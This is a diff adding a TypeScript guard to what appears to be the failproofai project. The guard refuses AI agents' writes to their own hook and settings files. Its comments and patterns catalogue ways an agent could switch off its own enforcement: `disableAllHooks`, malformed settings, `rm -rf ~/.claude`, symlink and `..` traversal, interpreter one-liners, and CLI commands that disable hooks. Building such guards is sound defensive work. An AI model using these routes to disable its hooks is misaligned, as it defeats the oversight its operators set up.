b/src/hooks/agent-settings-guard.ts @@ -0,0 +1,861 @@ +/** + * The files through which every agent CLI calls failproofai, and the checks the + * always-on guard (`block-failproofai-commands`) runs against writes to them. + * + * Every integration wires failproofai in through a file the agent can write as + * itself: Claude Code's settings layers, Codex's hooks.json and the trust + * hashes in its config.toml, Copilot's and Cursor's hook files, OpenCode's + * config and plugin shim, Pi's settings and extensions, Antigravity's, Factory's, + * Devin's and Goose's hook files, Hermes' config and plugin link, OpenClaw's + * config. Editing one of them is the shortest way for an agent to switch its + * own enforcement off, and it never has to name failproofai to do it: + * `"disableAllHooks": true` in ANY Claude Code settings layer turns off every + * hook in the session, wherever the hooks were installed, and Claude Code picks + * the edit up from a file watcher, so it lands before the agent's next tool + * call. The guard used to check only `~/.failproofai`, and only reads of these + * files were ever refused (by the opt-in `block-read-outside-cwd`). + * + * Every write is refused, not only the ones that disable hooks, because a + * content check cannot be finished. Claude Code skips a settings file that does + * not parse or that holds one value its schema rejects, so an edit that leaves + * the hooks in place and breaks a different key switches them off just as + * well. The same files also hold commands Claude Code runs with no hook in front + * of them (`statusLine`, `apiKeyHelper`, new hooks of its own) and the `env` the + * hook process inherits (`NODE_OPTIONS`). The person at the keyboard, their + * editor, `/permissions` and `failproofai policies --install` still write these + * files: only the agent's own tool calls are refused. + * + * Names here are long on purpose. The CLI ships as one scope-hoisted bundle, and + * a short top-level name that matches a local inside a builtin policy makes the + * bundler rename that local (config-status.ts explains why that matters: the + * audit cache in src/audit/cache.ts keys on each policy's source). + */ +import { existsSync, lstatSync, readdirSync, readlinkSync, realpathSync } from "node:fs"; +import { homedir } from "node:os"; +import { basename, dirname, isAbsolute, join, normalize, relative, resolve } from "node:path"; +import { claudeLocalSettingsPaths } from "./claude-hooks-switch"; + +/** + * One shape per protected file, as the path's TAIL from the agent's config + * directory on. `[\\/]` so a Windows path matches too. + */ +const AGENT_SETTINGS_FILE_SHAPES: readonly RegExp[] = [ + // Claude Code: every settings layer. `disableAllHooks` in any one of them is + // read after precedence, so a project or local file overrides the user file. + /\.claude[\\/]settings(?:\.[^\\/]+)?\.json/, + // Codex: the hooks, and config.toml, which holds the trust hashes Codex checks + // before it runs a hooks.json hook at all. + /\.codex[\\/](?:hooks\.json|config\.toml)/, + // Copilot CLI (user scope), and Copilot CLI / VS Code agent mode (project). + /\.copilot[\\/]hooks[\\/][^\\/]+\.json/, + /\.github[\\/]hooks[\\/][^\\/]+\.json/, + /\.cursor[\\/]hooks\.json/, + // OpenCode: the config that registers the plugin, and the plugin shim itself. + /\.opencode[\\/](?:opencode\.jsonc?|plugins[\\/][^\\/]+\.(?:mjs|js|ts))/, + /\.config[\\/]opencode[\\/](?:opencode\.jsonc?|config\.json|plugins[\\/][^\\/]+\.(?:mjs|js|ts))/, + // Pi: settings, and the extension directories it loads code from. + /\.pi[\\/](?:agent[\\/])?(?:settings\.json|extensions(?:[\\/].*)?)/, + // Antigravity reuses ~/.gemini/; its project hooks live in .agents/. + /\.gemini[\\/](?:settings\.json|config[\\/]hooks\.json)/, + /\.agents[\\/]hooks\.json/, + // Goose: the plugin directory failproofai owns, and the config it registers in. + /\.agents[\\/]plugins[\\/]failproofai(?:[\\/].*)?/, + /\.config[\\/]goose[\\/]config\.yaml/, + /\.factory[\\/]hooks\.json/, + /(?:\.config[\\/]devin|\.devin)[\\/]config\.json/, + // Hermes: every profile's config.yaml, and the plugin link in its plugins/. + /\.hermes(?:-[^\\/]+)?(?:[\\/]profiles[\\/][^\\/]+)?[\\/](?:config\.yaml|plugins[\\/]failproofai(?:[\\/].*)?)/, + // OpenClaw: every profile's openclaw.json. + /\.openclaw(?:-[^\\/]+)?[\\/]openclaw\.json/, +]; + +/** + * The directories that hold those files. Deleting or moving one removes the + * file inside it, so `rm -rf ~/.claude` switches the hooks off as surely as + * editing settings.json does. Only the agents' own directories: `.github` and + * `.config` hold far too much else, and `.github/hooks/` is also where many + * repositories keep their GIT hooks, so only its `*.json` files are protected. + */ +const AGENT_CONFIG_DIR_SHAPES: readonly RegExp[] = [ + /\.(?:claude|codex|cursor|factory|devin|opencode|gemini|pi|agents)/, + /\.copilot(?:[\\/]hooks)?/, + /\.opencode[\\/]plugins/, + /\.config[\\/](?:opencode(?:[\\/]plugins)?|devin|goose)/, + /\.pi[\\/](?:agent(?:[\\/]extensions)?|extensions)/, + /\.gemini[\\/]config/, + /\.agents[\\/]plugins(?:[\\/]failproofai(?:[\\/]hooks)?)?/, + /\.hermes(?:-[^\\/]+)?(?:[\\/]profiles(?:[\\/][^\\/]+)?)?(?:[\\/]plugins)?/, + /\.openclaw(?:-[^\\/]+)?/, +]; + +const agentSettingsShapeSource = (shapes: readonly RegExp[]): string => shapes.map((shape) => shape.source).join("|"); + +/** + * Case-insensitive because macOS's default filesystem is: `~/.Claude/Settings.json` + * is the same file there. On Linux the wider match only ever refuses more. + */ +const AGENT_SETTINGS_FILE_RE = new RegExp(`(?:^|[\\\\/])(?:${agentSettingsShapeSource(AGENT_SETTINGS_FILE_SHAPES)})$`, "i"); +const AGENT_CONFIG_DIR_RE = new RegExp(`(?:^|[\\\\/])(?:${agentSettingsShapeSource(AGENT_CONFIG_DIR_SHAPES)})[\\\\/]?$`, "i"); + +/** + * The same files found anywhere in a command's text, including inside quoted + * code: `python3 -c "open('/home/u/.claude/settings.json','w')"` never presents + * the path as a word of its own. + */ +const AGENT_SETTINGS_IN_TEXT_RE = new RegExp(`(?])`, + "i", +); + +/** + * An agent directory's name as a string literal in a program: + * `os.path.join(os.path.expanduser('~'), '.claude', 'settings.json')` and + * `path.join(os.homedir(), '.codex', 'hooks.json')` never spell the path. + * Only read inside programs handed to an interpreter, which are never on the + * guard's read list anyway. + */ +const AGENT_DIR_IN_PROGRAM_RE = + /['"`\\/](?:\.(?:claude|codex|cursor|copilot|opencode|pi|gemini|agents|factory|devin)|\.hermes(?:-[^'"`\\/\s]+)?|\.openclaw(?:-[^'"`\\/\s]+)?)['"`\\/]/i; + +/** Whether `path` is an agent settings or hook-config file. Anchored at the end. */ +export function isAgentSettingsPath(path: string): boolean { + return AGENT_SETTINGS_FILE_RE.test(path); +} + +/** Whether `path` IS an agent config directory (not a path inside one). */ +export function isAgentConfigDirPath(path: string): boolean { + return AGENT_CONFIG_DIR_RE.test(path); +} + +/** `~`, `$HOME` and `${HOME}` as the shell would expand them. */ +export function expandAgentSettingsHome(path: string): string { + const home = homedir(); + if (path === "~" || path === "$HOME" || path === "${HOME}") return home; + const match = /^(?:~|\$HOME|\$\{HOME\})[\\/](.*)$/.exec(path); + return match ? join(home, match[1]) : path; +} + +/** + * A path as the tool would open it: home expanded, normalised (`a/./b` and + * `a//b` are `a/b` to the filesystem, never to a regex), and resolved against + * the session's cwd. A relative path with no cwd stays relative, which the + * anchored shapes still read (`.claude/settings.json` begins the string). + */ +function resolveAgentSettingsCandidate(path: string, cwd: string | undefined): string { + const expanded = expandAgentSettingsHome(path); + if (isAbsolute(expanded)) return resolve(expanded); + return cwd ? resolve(cwd, expanded) : normalize(expanded); +} + +/** + * Where a path really leads, following every symlink on the way. + * + * For a file that does not exist yet (a Write that creates it), the deepest + * ancestor that does exist is resolved and the rest appended: a project symlink + * `cfg -> ~/.claude` makes `cfg/settings.local.json` a Claude settings file + * before it has ever been written. Never throws. + */ +function realpathOfAgentSettingsCandidate(path: string): string { + let current = path; + const tail: string[] = []; + for (let depth = 0; depth < 64; depth++) { + try { + const real = realpathSync(current); + return tail.length === 0 ? real : join(real, ...tail.reverse()); + } catch { + const parent = dirname(current); + if (parent === current) return path; + tail.push(basename(current)); + current = parent; + } + } + return path; +} + +/** Linux gives up after this many links in one path (MAXSYMLINKS). */ +const MAX_LINK_HOPS = 40; + +/** + * `path` walked the way the kernel walks it: one component at a time from + * `base`, a symlink replaced by where it points before the walk goes on. So a + * `..` after a link climbs out of the link's TARGET: with `link -> + * ~/.claude/subdir`, `link/../settings.json` is `~/.claude/settings.json`, + * where text normalisation drops `link/..` and lands beside the link. A link + * that leads nowhere yet is followed too — a write through it creates its + * target. Past the first component that does not exist, the rest is joined as + * text. Null on a loop or a link that cannot be read; both fail the write too. + */ +function physicalWalk(base: string, path: string): string | null { + let parts = path.split("/"); + let current = base; + let hops = 0; + for (let k = 0; k < parts.length; k++) { + const part = parts[k]; + if (part === "" || part === ".") continue; + if (part === "..") { + current = dirname(current); + continue; + } + const next = join(current, part); + let stat: ReturnType | undefined; + try { + stat = lstatSync(next, { throwIfNoEntry: false }); + } catch { + // ENOTDIR under a file, EACCES, a component too long: nothing to follow. + stat = undefined; + } + if (stat === undefined) return join(next, ...parts.slice(k + 1)); + if (!stat.isSymbolicLink()) { + current = next; + continue; + } + if (++hops > MAX_LINK_HOPS) return null; + let target: string; + try { + target = readlinkSync(next); + } catch { + return null; + } + if (target.startsWith("/")) current = "/"; + parts = [...target.split("/"), ...parts.slice(k + 1)]; + k = -1; + } + return current; +} + +/** Paths longer than this cannot be opened (PATH_MAX), so they write nothing. */ +const MAX_PHYSICAL_PATH = 4096; + +/** + * Where `path` really leads from `cwd`, symlinks and `..` taken in the + * kernel's order (see physicalWalk), home expanded. Null when it cannot be + * known: a relative path with no cwd, or one too long to open. `bases` keeps + * each cwd's own walk for a caller that resolves many words from one. + */ +export function physicalAgentPath( + path: string, + cwd: string | undefined, + bases?: Map, +): string | null { + // Only the home prefix: `join` would also drop `link/..` before the walk + // could follow `link` (`~/link/../settings.json`). + const home = homedir(); + const prefixed = /^(?:~|\$HOME|\$\{HOME\})(\/.*)?$/.exec(path); + const expanded = prefixed ? `${home}${prefixed[1] ?? ""}` : path; + if (expanded.length === 0 || expanded.length > MAX_PHYSICAL_PATH) return null; + if (isAbsolute(expanded)) return physicalWalk("/", expanded); + if (!cwd) return null; + let base = bases?.get(cwd); + if (base === undefined) { + base = physicalWalk("/", resolve(cwd)); + bases?.set(cwd, base); + } + return base === null ? null : physicalWalk(base, expanded); +} + +/** Agent settings files under the home directory, relative to it. */ +const HOME_AGENT_SETTINGS_FILES: readonly string[] = [ + ".claude/settings.json", + ".claude/settings.local.json", + ".codex/hooks.json", + ".codex/config.toml", + ".copilot/hooks/failproofai.json", + ".cursor/hooks.json", + ".config/opencode/opencode.json", + ".config/opencode/opencode.jsonc", + ".config/opencode/config.json", + ".config/opencode/plugins/failproofai.mjs", + ".opencode/opencode.json", + ".pi/agent/settings.json", + ".gemini/settings.json", + ".gemini/config/hooks.json", + ".agents/plugins/failproofai/hooks/hooks.json", + ".config/goose/config.yaml", + ".factory/hooks.json", + ".config/devin/config.json", + ".hermes/config.yaml", + ".openclaw/openclaw.json", +]; + +/** The agent directories under the home directory, relative to it. */ +const HOME_AGENT_CONFIG_DIRS: readonly string[] = [ + ".claude", ".codex", ".copilot", ".cursor", ".config/opencode", ".opencode", ".pi", ".gemini", + ".agents", ".config/goose", ".factory", ".config/devin", ".hermes", ".openclaw", +]; + +/** A project's agent settings files, relative to the project root. */ +const PROJECT_AGENT_SETTINGS_FILES: readonly string[] = [ + ".claude/settings.json", + ".claude/settings.local.json", + ".codex/hooks.json", + ".codex/config.toml", + ".cursor/hooks.json", + ".github/hooks/failproofai.json", + ".opencode/opencode.json", + ".pi/settings.json", + ".gemini/settings.json", + ".agents/hooks.json", + ".factory/hooks.json", + ".devin/config.json", +]; + +function realpathsOf(paths: readonly string[]): Set { + const out = new Set(); + for (const path of paths) { + const real = settingsLinkTarget(path); + if (real !== null) out.add(real); + } + return out; +} + +/** + * Where a settings path really is: its realpath, or — for a link whose target + * does not exist yet — that target, walked the way the kernel would create + * it: `.claude/settings.local.json -> ../config/new.json` makes a first + * write of config/new.json a write of the settings. Null when there is + * neither a file nor a link there. + */ +function settingsLinkTarget(path: string): string | null { + try { + return realpathSync(path); + } catch { + try { + if (!lstatSync(path).isSymbolicLink()) return null; + } catch { + return null; + } + return physicalAgentPath(path, undefined); + } +} + +/** + * Where the settings this session's agent reads really are, after symlinks: + * the home directory's files (the dotfiles layout, `~/.claude/settings.json` + * linked into a repository of dotfiles), the project's files (a committed + * `.claude/settings.json` that links to `config/claude.json`), and the file the + * hook itself was loaded from. The file an agent edits there names no agent + * directory at all. + */ +function agentSettingsRealTargets(cwd: string | undefined, extraPaths: readonly string[]): Set { + const home = homedir(); + return realpathsOf([ + ...HOME_AGENT_SETTINGS_FILES.map((path) => join(home, path)), + ...agentProjectRoots(cwd).flatMap((root) => PROJECT_AGENT_SETTINGS_FILES.map((path) => join(root, path))), + ...agentLocalSettingsFiles(cwd), + ...extraPaths, + ]); +} + +/** + * Where Claude Code reads this session's `settings.local.json`, the places the + * walk to the repository root does not reach included: a linked worktree's + * are at the main checkout's root (the same files `config --status` reads). + */ +function agentLocalSettingsFiles(cwd: string | undefined): string[] { + return cwd ? claudeLocalSettingsPaths(cwd) : []; +} + +/** + * The directories whose project settings apply to a session in `cwd`: `cwd` + * itself and each directory above it up to the repository root. Agents read + * project and local settings at the root from a subdirectory (Claude Code + * keeps `settings.local.json` there), so a root file's link target is theirs + * too. Outside a repository, `cwd` alone. + */ +function agentProjectRoots(cwd: string | undefined): string[] { + if (!cwd) return []; + const roots: string[] = []; + let dir = resolve(cwd); + for (let depth = 0; depth < 32; depth++) { + roots.push(dir); + if (existsSync(join(dir, ".git"))) return roots; + const parent = dirname(dir); + if (parent === dir) break; + dir = parent; + } + return [resolve(cwd)]; +} + +/** + * Directories whose every file is part of an agent's hooks, wherever they + * live: what Hermes' `plugins/failproofai` links to (the package's + * `hermes-plugin/`, or a copy), in every profile, and the package's own plugin + * directories, which OpenClaw and Pi load in place. Editing one of their + * files changes what the hook does without touching any settings file. + */ +function agentPluginTrees(): string[] { + const home = homedir(); + const hermesHomes = [join(home, ".hermes")]; + try { + for (const name of readdirSync(join(home, ".hermes", "profiles"))) hermesHomes.push(join(home, ".hermes", "profiles", name)); + } catch { + // No profiles. + } + try { + for (const name of readdirSync(home)) if (name.startsWith(".hermes-")) hermesHomes.push(join(home, name)); + } catch { + // Unreadable home: the default profile alone. + } + const trees = new Set(); + for (const hermes of hermesHomes) { + const link = join(hermes, "plugins", "failproofai"); + try { + const real = realpathSync(link); + if (real !== link) trees.add(real); + } catch { + // Not installed for this profile. + } + } + const packageRoot = process.env.FAILPROOFAI_PACKAGE_ROOT; + if (packageRoot) { + for (const name of ["hermes-plugin", "openclaw-plugin", "pi-extension"]) { + const dir = join(packageRoot, name); + try { + trees.add(realpathSync(dir)); + } catch { + // Not in this package. + } + } + } + return [...trees]; +} + +/** Whether `path` is one of `trees` or lies inside one. */ +function insideAgentPluginTree(path: string, trees: readonly string[]): boolean { + return trees.some((tree) => path === tree || path.startsWith(`${tree}/`)); +} + +/** The string values of a tool input, a few levels deep (Codex wraps a patch in an array). */ +function agentSettingsInputStrings(value: unknown, depth = 0, out: string[] = []): string[] { + if (typeof value === "string") out.push(value); + else if (depth < 3 && Array.isArray(value)) for (const item of value) agentSettingsInputStrings(item, depth + 1, out); + else if (depth < 3 && value && typeof value === "object") { + for (const item of Object.values(value as Record)) agentSettingsInputStrings(item, depth + 1, out); + } + return out; +} + +/** + * The files a patch touches: OpenAI's apply_patch envelope (`*** Update File:`, + * `*** Add File:`, `*** Delete File:`, `*** Move to:`) and unified-diff headers. + * Leading whitespace is allowed on each, because Codex applies an indented + * marker too. + */ +export function agentPatchTargetPaths(patch: string): string[] { + const out: string[] = []; + for (const [, path] of patch.matchAll(/^[ \t]*\*\*\* (?:Add File|Update File|Delete File|Move to): *(.+?) *$/gm)) { + out.push(path); + } + for (const [, path] of patch.matchAll(/^[ \t]*(?:\+\+\+|---) (?:[ab][\\/])?([^\t\r\n]+?)(?:\t.*)? *$/gm)) { + if (path !== "/dev/null") out.push(path); + } + return out; +} + +/** The keys a patch arrives under, across the CLIs that canonicalize apply_patch to Edit. */ +const AGENT_PATCH_CARRIER_KEYS: readonly string[] = ["patch", "patchText", "patch_text", "input", "command", "diff", "changes"]; + +/** + * Every path a file-writing tool call would write. + * + * `file_path` (Write, Edit, MultiEdit), `notebook_path` (NotebookEdit) and + * `path` cover the canonical inputs. Codex, Copilot and OpenCode `apply_patch` + * canonicalize to `Edit` with the paths inside the patch text, so the keys a + * patch travels under are read as patches as well, whether or not a path key is + * there too. `content`, `old_string` and `new_string` never are: a Write whose + * content happens to be a diff writes its own file_path. + */ +export function agentToolWritePaths(toolInput: Record | undefined): string[] { + if (!toolInput) return []; + const named = ["file_path", "notebook_path", "path"] + .map((key) => toolInput[key]) + .filter((value): value is string => typeof value === "string" && value.length > 0); + const patched = AGENT_PATCH_CARRIER_KEYS.flatMap((key) => + agentSettingsInputStrings(toolInput[key]).flatMap((text) => agentPatchTargetPaths(text)), + ); + return [...named, ...patched]; +} + +/** + * The agent settings file a file-tool call would write, or null. + * + * Checked as written, then after symlinks: a path that leads into an agent + * directory through a link, and a file that IS the target of one of the agent's + * settings links, are the same file to the agent CLI. `extraPaths` are settings + * files known for this session that no shape describes: the file the hook was + * loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it. + */ +export function agentSettingsWriteTarget( + toolInput: Record | undefined, + cwd: string | undefined, + extraPaths: readonly string[] = [], +): string | null { + const extras = new Set([...extraPaths.map((path) => resolve(path)), ...relocatedAgentSettings(extraPaths)]); + let realTargets: Set | undefined; + let trees: string[] | undefined; + for (const raw of agentToolWritePaths(toolInput)) { + const lexical = resolveAgentSettingsCandidate(raw, cwd); + if (isAgentSettingsPath(lexical) || extras.has(lexical)) return lexical; + // Relative and no cwd: nothing on disk to follow. + if (!isAbsolute(lexical)) continue; + const real = realpathOfAgentSettingsCandidate(lexical); + if (real !== lexical && (isAgentSettingsPath(real) || extras.has(real))) return lexical; + realTargets ??= agentSettingsRealTargets(cwd, [...extras]); + if (realTargets.has(real)) return lexical; + // `lexical` lost its `..` before any link was followed; the filesystem + // follows the link first: `link/../settings.json` with `link -> + // ~/.claude/subdir` writes `~/.claude/settings.json`. + const physical = physicalAgentPath(raw, cwd); + if (physical !== null && physical !== real && (isAgentSettingsPath(physical) || extras.has(physical) || realTargets.has(physical))) { + return lexical; + } + trees ??= agentPluginTrees(); + if ([lexical, real, physical].some((path) => path !== null && insideAgentPluginTree(path, trees!))) return lexical; + } + return null; +} + +/** Shell punctuation that can stand around a word without being part of the path. */ +function bareAgentSettingsWord(word: string): string { + return word.replace(/^[(){}'"`;&|<>]+|[(){}'"`;&|<>]+$/g, ""); +} + +/** What can stand right before a path that starts a shell word, a quoted string or a value. */ +const PATH_START_EDGE = String.raw`\s'"\x60;&|()<>=,{}\[\]:@/`; + +/** + * A path as a regex literal that must start and end where a shell word or a + * quoted string would — or right after a glued short option (`-C/srv/x`) — so + * `/backup/srv/profile/settings.json` is not read as `/srv/profile/settings.json`. + */ +function agentSettingsPathInTextRe(path: string, isDirectory: boolean): RegExp { + const escaped = path.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + const start = `(?<=^|[${PATH_START_EDGE}]|(?:^|[${PATH_START_EDGE}])-[A-Za-z])`; + return new RegExp(`${start}${escaped}${isDirectory ? "[\\\\/]?" : ""}(?=$|[\\s'"\`;&|()<>])`, "i"); +} + +/** A directory as a regex literal that matches it and every path inside it, from where a word starts. */ +function agentSettingsTreeInTextRe(path: string): RegExp { + const escaped = path.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + const start = `(?<=^|[${PATH_START_EDGE}]|(?:^|[${PATH_START_EDGE}])-[A-Za-z])`; + return new RegExp(`${start}${escaped}(?=$|[\\/\\s'"\`;&|()<>])`, "i"); +} + +/** + * A word as each form the shell may hand it over in: the word itself, and the + * value after `=` for `--output=`, `of=` and `FOO=`. + */ +function agentSettingsWordForms(raw: string): string[] { + const word = bareAgentSettingsWord(raw); + const eq = word.indexOf("="); + return eq > 0 ? [word, word.slice(eq + 1)] : [word]; +} + +/** + * Settings files and directories known for this session beyond the shapes: + * `extraPaths` with their directories, and the real locations behind the home + * directory's agent links (a dotfiles checkout). A shell command reaching any of + * them reaches the agent's settings. + */ +function agentSettingsShellExtras( + extraPaths: readonly string[], + cwd: string | undefined, +): { files: Set; dirs: Set; trees: string[] } { + const files = new Set(); + const dirs = new Set(); + const home = homedir(); + for (const absolute of relocatedAgentSettings(extraPaths)) { + files.add(absolute); + dirs.add(dirname(absolute)); + // And where it really is, existing or not yet: CLAUDE_CONFIG_DIR's + // settings.json linked to /tmp/actual/primary.json is written as that. + const real = settingsLinkTarget(absolute); + if (real !== null && real !== absolute) files.add(real); + } + // `.github/hooks/` is protected as a directory only in a project that keeps + // failproofai's Copilot hooks there; elsewhere it is where git hooks live. + const roots = agentProjectRoots(cwd); + for (const root of roots) { + if (existsSync(join(root, ".github", "hooks", "failproofai.json"))) dirs.add(join(root, ".github", "hooks")); + } + // A project's settings linked elsewhere (`.claude/settings.json -> + // ../config/claude.json`) are written through the target's own name, from + // the root's subdirectories too. + const projectFiles = [ + ...roots.flatMap((root) => PROJECT_AGENT_SETTINGS_FILES.map((path) => join(root, path))), + ...agentLocalSettingsFiles(cwd), + ]; + for (const lexical of [...HOME_AGENT_SETTINGS_FILES.map((path) => join(home, path)), ...projectFiles]) { + const real = settingsLinkTarget(lexical); + if (real !== null && real !== lexical) files.add(real); + } + for (const relativePath of HOME_AGENT_CONFIG_DIRS) { + const lexical = join(home, relativePath); + try { + const real = realpathSync(lexical); + if (real !== lexical) dirs.add(real); + } catch { + // Not on this machine. + } + } + return { files, dirs, trees: agentPluginTrees() }; +} + +/** + * The session's settings files that no shape describes — a config directory + * moved by `CLAUDE_CONFIG_DIR` or `CODEX_HOME` — with the files beside them + * that switch the same hooks off: Claude Code's `settings.local.json`, Codex's + * `config.toml` (its hook trust and `[features] hooks`). A file the shapes + * already cover adds nothing: its directory may be a shared one + * (`.github/hooks`), where a directory rule would only refuse ordinary work. + */ +function relocatedAgentSettings(extraPaths: readonly string[]): string[] { + const out: string[] = []; + for (const path of extraPaths) { + const absolute = resolve(path); + if (isAgentSettingsPath(absolute)) continue; + out.push(absolute); + const name = basename(absolute).toLowerCase(); + if (name === "settings.json") out.push(join(dirname(absolute), "settings.local.json")); + if (name === "hooks.json") out.push(join(dirname(absolute), "config.toml")); + } + return out; +} + +/** A path under the home directory as `~/…` too, the way commands usually spell it. */ +function withAgentSettingsHomeForm(path: string): string[] { + const home = homedir(); + const rel = relative(home, path); + return rel && !rel.startsWith("..") && !isAbsolute(rel) ? [path, `~/${rel}`] : [path]; +} + +/** Text that every agent settings path or directory contains somewhere. */ +const AGENT_SETTINGS_HINT_SOURCE = + "claude|codex|cursor|copilot|github|opencode|\\.pi|gemini|agents|factory|devin|goose|hermes|openclaw|settings|hooks|config|plugins|extensions"; + +/** + * The hint for this session: the agents' names, plus every name in the + * session's extra settings files and the real locations behind the home + * directory's links, so a word that could reach one is never skipped. + */ +function agentSettingsHintFrom(extras: { files: Set; dirs: Set; trees: readonly string[] }): RegExp { + const names = [...extras.files, ...extras.dirs, ...extras.trees] + .flatMap((path) => path.split(/[\\/]/)) + .filter((segment) => segment.length > 2) + .map((segment) => segment.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")); + return new RegExp([AGENT_SETTINGS_HINT_SOURCE, ...names].join("|"), "i"); +} + +/** + * What a shell command can name for this session: the shapes, anywhere in its + * text; each word on its own, home expanded and normalised; and the session's + * extra files and directories. Relative words are left to the caller, which + * knows the directory a `cd` has moved the shell to. + */ +export function agentSettingsShellMatcher( + extraPaths: readonly string[], + cwd?: string, +): { + names: (text: string) => boolean; + hint: RegExp; + /** Whether a word (relative to `cwd` when relative) leads to one of them through a symlink. */ + throughLinks: (word: string, cwd: string | undefined) => boolean; + /** + * The files behind the session's settings links — a relocated settings + * file's target, a project's, the dotfiles' — in each spelling a command + * may use, for a glob to be matched against as well. + */ + linkedFiles: string[]; +} { + const extras = agentSettingsShellExtras(extraPaths, cwd); + const hint = agentSettingsHintFrom(extras); + const textForms = [ + ...[...extras.files].flatMap((path) => withAgentSettingsHomeForm(path).map((form) => agentSettingsPathInTextRe(form, false))), + ...[...extras.dirs].flatMap((path) => withAgentSettingsHomeForm(path).map((form) => agentSettingsPathInTextRe(form, true))), + // A plugin tree is reached by any path inside it, not only by its own name. + ...extras.trees.flatMap((path) => withAgentSettingsHomeForm(path).map((form) => agentSettingsTreeInTextRe(form))), + ]; + const names = (text: string): boolean => { + if (AGENT_SETTINGS_IN_TEXT_RE.test(text) || AGENT_CONFIG_DIR_IN_TEXT_RE.test(text)) return true; + if (textForms.some((re) => re.test(text))) return true; + for (const raw of text.split(/\s+/)) { + // A word with none of the agents' names in it cannot be one of their + // paths; skipping it spares a path resolution per word of a long line. + if (!hint.test(raw)) continue; + for (const word of agentSettingsWordForms(raw)) { + if (!word || word.startsWith("-")) continue; + // A variable other than HOME is the caller's to follow (it tracks which + // ones hold an agent path); resolving `$D` as a file name means nothing. + if (word.includes("$") && !/^\$\{?HOME\}?(?:[\\/]|$)/.test(word)) continue; + const path = resolveAgentSettingsCandidate(word, undefined); + if (isAgentSettingsPath(path) || isAgentConfigDirPath(path)) return true; + if (isAbsolute(path) && (extras.files.has(path) || extras.dirs.has(path.replace(/[\\/]+$/, "")))) return true; + if (isAbsolute(path) && insideAgentPluginTree(path.replace(/[\\/]+$/, ""), extras.trees)) return true; + } + } + return false; + }; + // A word whose own text names nothing can still lead to a settings file: a + // link in the project (`cfg.json -> ~/.claude/settings.json`), a linked + // directory (`agent-dir/settings.json`), a `..` after a link. Looked up on + // disk, so ahead of the hint, which only reads the text; once per word. + const physicalHits = new Map(); + const physicalBases = new Map(); + const throughLinks = (raw: string, cwd: string | undefined): boolean => { + const forms = agentSettingsWordForms(raw); + // A value glued to a short option is a path too: `-oarchive/link/../settings.json`. + if (/^-[A-Za-z]./.test(raw) && !raw.startsWith("--")) forms.push(...agentSettingsWordForms(raw.slice(2))); + for (const word of forms) { + if (!word || word.startsWith("-") || (word.includes("$") && !/^\$\{?HOME\}?(?:[\\/]|$)/.test(word))) continue; + const key = `${cwd ?? ""}\0${word}`; + let hit = physicalHits.get(key); + if (hit === undefined) { + const physical = physicalAgentPath(word, cwd, physicalBases); + hit = physical !== null && physical !== resolveAgentSettingsCandidate(word, cwd) && names(physical); + physicalHits.set(key, hit); + } + if (hit) return true; + } + return false; + }; + const linkedFiles = [...extras.files].flatMap((path) => withAgentSettingsHomeForm(path)); + return { names, hint, throughLinks, linkedFiles }; +} + +/** Whether a program handed to an interpreter builds an agent settings path. */ +export function programNamesAgentSettings(program: string): boolean { + return AGENT_DIR_IN_PROGRAM_RE.test(program); +} + +/** + * The directory a shell command runs in: Antigravity's `run_command` carries + * its own `Cwd` (canonicalized to `tool_input.cwd`), which wins over the + * session's; every other CLI runs in the session's cwd. + */ +export function agentSettingsShellCwd(toolInput: Record | undefined, sessionCwd: string | undefined): string | undefined { + const own = toolInput?.cwd; + if (typeof own !== "string" || own.length === 0) return sessionCwd; + return resolveAgentSettingsCandidate(own, sessionCwd); +} + +/** + * Commands of the agent CLIs themselves that turn hooks off for good, with no + * settings path in them: `codex features disable hooks` writes + * `[features] hooks = false` into config.toml (verified on Codex 0.160.0), and + * `pi remove ` takes it out of Pi's settings. Hermes' + * and OpenClaw's plugin commands are matched by their documented shape. A + * one-run override (`claude --settings`, `codex -c features.hooks=false`) + * starts a separate agent rather than changing this one's settings, and is + * not matched. + */ +const AGENT_CLI_HOOKS_OFF_RES: readonly RegExp[] = [ + /(?:^|[\s;&|(`])(?:[^\s;&|()`<>]*\/)?codex\s+(?:[^\n;&|]*\s)?features\s+disable\s+[^\n;&|]*\b(?:codex_)?hooks\b/i, + /(?:^|[\s;&|(`])(?:[^\s;&|()`<>]*\/)?pi\s+(?:remove|uninstall|rm)\s+[^\n;&|]*(?:failproofai|pi-extension)/i, + /(?:^|[\s;&|(`])(?:[^\s;&|()`<>]*\/)?(?:hermes|openclaw)\s+plugins?\s+(?:disable|remove|uninstall|rm|delete)\s+[^\n;&|]*failproofai/i, +]; + +export function agentCliSwitchesHooksOff(command: string): boolean { + return AGENT_CLI_HOOKS_OFF_RES.some((re) => re.test(command)); +} + +/** + * Agent paths as a glob would have to reach them: relative to a project, and + * under a home directory spelled every way a command can spell it. + */ +const PROJECT_AGENT_SETTINGS_GLOB_PATHS: readonly string[] = [ + ".claude", ".claude/settings.json", ".claude/settings.local.json", + ".codex", ".codex/hooks.json", ".codex/config.toml", + ".cursor", ".cursor/hooks.json", + ".github/hooks/failproofai.json", + ".opencode", ".opencode/opencode.json", ".opencode/plugins/failproofai.mjs", + ".pi", ".pi/settings.json", ".pi/extensions", + ".gemini", ".gemini/settings.json", + ".agents", ".agents/hooks.json", ".agents/plugins/failproofai", + ".factory", ".factory/hooks.json", + ".devin", ".devin/config.json", +]; + +const HOME_AGENT_SETTINGS_GLOB_PATHS: readonly string[] = [ + ".claude", ".claude/settings.json", ".claude/settings.local.json", + ".codex", ".codex/hooks.json", ".codex/config.toml", + ".cursor", ".cursor/hooks.json", + ".copilot", ".copilot/hooks", ".copilot/hooks/failproofai.json", + ".config/opencode", ".config/opencode/opencode.json", ".config/opencode/plugins/failproofai.mjs", + ".pi", ".pi/agent/settings.json", ".pi/agent/extensions", + ".gemini", ".gemini/settings.json", ".gemini/config/hooks.json", + ".agents", ".agents/plugins/failproofai", ".agents/plugins/failproofai/hooks/hooks.json", + ".config/goose", ".config/goose/config.yaml", + ".factory", ".factory/hooks.json", + ".config/devin", ".config/devin/config.json", + ".hermes", ".hermes/config.yaml", ".hermes/plugins/failproofai", + ".openclaw", ".openclaw/openclaw.json", +]; + +/** + * Ordinary nested paths a glob aimed at agent settings must NOT reach. + * + * The state guard's decoys are top-level names, because its target is a + * top-level directory. Settings files sit one level down, so 